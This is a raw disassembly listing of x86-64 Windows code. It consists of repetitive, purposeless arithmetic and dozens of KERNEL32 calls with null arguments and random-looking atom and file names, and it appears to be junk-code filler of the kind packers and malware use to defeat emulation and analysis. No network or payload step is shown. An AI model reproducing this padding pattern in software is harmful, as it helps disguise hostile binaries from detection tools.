mov rcx, qword [rsp + 0xaf58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccd8], rax
movzx eax, word [rsp + 0x1f94]
movzx ecx, word [rsp + 0x92c]
add eax, ecx
mov word [rsp + 0xbb0], ax
lea rcx, str.RmY.X_L76Te8_aufBZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21f0], ax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xce00]
mov ecx, dword [rsp + 0x64f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x650c], eax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x398], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd028], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
mov qword [rsp + 0xd030], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x26b]
imul eax, ecx
mov byte [rsp + 0x390], al
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6618], eax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov dword [rsp + 0x6684], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1fe8]
shl eax, cl
mov word [rsp + 0x2164], ax
movzx eax, word [rsp + 0x1ce4]
mov word [0x1401c8bf0], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc6e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd038], rax
mov rax, qword [0x1401c8ba0]
movzx ecx, al
mov rax, qword [rsp + 0xcfb8]
sar rax, cl
mov qword [rsp + 0x9640], rax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f7c]
add eax, ecx
mov word [rsp + 0xf94], ax
movzx ecx, word [rsp + 0x215c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
mov word [rsp + 0x220c], ax
mov rax, qword [rsp + 0xce60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x390], al
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd040], rax
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor edx, edx
mov eax, dword [rsp + 0x58b8]
mov ecx, 0x215e
div ecx
mov dword [rsp + 0x5d24], eax
mov rax, qword [rsp + 0xc500]
mov rcx, qword [rsp + 0xa530]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbae0], rax
movsx eax, word [rsp + 0x13c8]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8bb4], ax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov word [rsp + 0x2210], ax
mov eax, dword [rsp + 0x6654]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xd048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd048]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6570], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11e]
or eax, ecx
mov byte [rsp + 0x3a6], al
movzx ecx, word [rsp + 0x204c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f90], ax
mov rax, qword [0x1401c8be0]
mov qword [rsp + 0xd050], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xcc68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xd058], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5984], eax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcae8]
mov rcx, qword [rsp + 0xc8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5e0], rax
movsx eax, byte [0x1401c8a12]
mov rcx, qword [rsp + 0xcc98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc8e8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2068]
mov qword [rsp + 0xd060], rax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0xcb4]
add eax, ecx
mov rcx, qword [0x1401c8ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xab28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f44], ax
lea rax, [rsp + 0x1e54]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0x98d8]
mov rcx, qword [rsp + 0xcf68]
mov qword [rsp + 0xd070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd070]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcce8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ac], al
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xcc68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc780], rax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6688], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6658], eax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c14], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6638], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c70e8], rax
mov rax, qword [rsp + 0xcd70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcaf8]
mov qword [rsp + 0xd078], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd078]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6560], eax
lea rcx, str.R8bg.KP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2214], ax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x3ad], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf94], ax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff0], ax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2010]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc838]
mov word [rcx], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38e]
sub eax, ecx
mov byte [rsp + 0x310], al
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a0], eax
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a4], eax
mov rax, qword [rsp + 0xcc40]
mov qword [rsp + 0xd080], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x2140]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b0], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0x134c]
add eax, ecx
mov word [rsp + 0x1d14], ax
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8af0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xc4b0]
mov rcx, qword [0x1401c8ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca18], rax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f10], rax
lea rcx, str.FzL6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2218], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
movsx eax, word [0x1401c8ab8]
movsx ecx, word [rsp + 0xf44]
sar eax, cl
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0xcde8]
mov rcx, qword [rsp + 0xc8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x61bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rax, [rsp + 0x28c]
mov qword [rsp + 0xd090], rax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xc910]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xca40], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xc8c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5aac]
shl eax, cl
mov rcx, qword [rsp + 0xc628]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x399]
mov byte [rsp + 0x3ae], al
mov rax, qword [rsp + 0xc698]
movzx eax, word [rax]
mov word [0x1401c8bf4], ax
movzx eax, word [rsp + 0x19ac]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcaa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdac], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xc560]
mov rcx, qword [rsp + 0xb1e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x644c]
shl eax, cl
mov dword [rsp + 0x5a30], eax
lea rcx, str.asSSw4Lz6Rtqb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20f8], ax
mov rax, qword [rsp + 0xc658]
mov rax, qword [rax]
mov qword [rsp + 0xd0a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x628c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x393]
sar eax, cl
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
movzx eax, word [rsp + 0x2198]
mov word [rsp + 0x221c], ax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, str.UT4E
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2220], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2210], ax
mov rax, qword [rsp + 0x9640]
mov qword [0x1401c8bf8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6548], eax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc558]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6578], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x668c], eax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9db0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xc828]
mov rcx, qword [rsp + 0x9790]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov qword [rsp + 0xd0a8], rax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6480], eax
movzx ecx, word [rsp + 0x2094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2224], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x37e]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x395]
and eax, ecx
mov byte [rsp + 0x314], al
lea rcx, [rsp + 0x20128]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6440]
mov ecx, dword [rsp + 0x6674]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6518], eax
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5ca4], eax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
shl eax, cl
mov rcx, qword [0x1401c8a38]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65c4], eax
movzx ecx, word [rsp + 0x1f90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2228], ax
lea rax, [0x1401c8bf4]
mov qword [rsp + 0xd0b0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov word [rsp + 0x222c], ax
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [rsp + 0xa6b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc570]
mov qword [rsp + 0xd0c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6490], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
mov byte [rsp + 0x3af], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd068]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x910]
or eax, ecx
mov word [rsp + 0x1488], ax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xcf98]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c8a78], rax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.ilescBqbBkVCvA1OC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov rcx, qword [0x1401c8bf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c0], rax
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xcf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb68], rax
mov rcx, qword [rsp + 0xc930]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov qword [rsp + 0xd0d0], rax
movzx eax, word [rsp + 0x924]
movzx ecx, word [rsp + 0x2170]
xor eax, ecx
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a3]
cdq
idiv ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xcf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5ff0], eax
mov rax, qword [rsp + 0xcce8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b0], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.nH1utTlkodMc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xcb00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov rcx, qword [0x1401c8a40]
mov qword [rsp + 0xd0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0e0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1401c70f0], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov edx, 0x306
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6668], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6538], eax
movsx eax, word [rsp + 0xf94]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb60], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd0e8], rax
lea rax, [rsp + 0x1238]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e24], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x649c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xc790]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xc780], rax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0xd100], rax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20ec], ax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x2110]
shl eax, cl
mov word [0x1401c70a8], ax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xcda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xab00], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd108], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [0x1401c8a24]
movzx ecx, word [rsp + 0x1718]
sar eax, cl
mov word [rsp + 0x21f4], ax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x391], al
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov dword [rsp + 0x6690], eax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [0x1401c7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x23a], al
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x656c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.pQGN.PYIL_DiR_IMw7mke7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21d4], ax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc1a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdf8], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2184]
sar eax, cl
mov word [rsp + 0x1238], ax
mov r9d, 0x1eca
xor r8d, r8d
lea rdx, [rsp + 0xc860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6304], eax
lea rcx, str.AfPx_0.u_gE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2230], ax
lea rax, [rsp + 0x2120]
mov qword [0x1401c8c00], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [0x1401c8ba8]
mov qword [rsp + 0xd110], rax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2e8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x13e4], ax
mov edx, 0x1e4a
mov rcx, qword [rsp + 0xcbd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x634c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
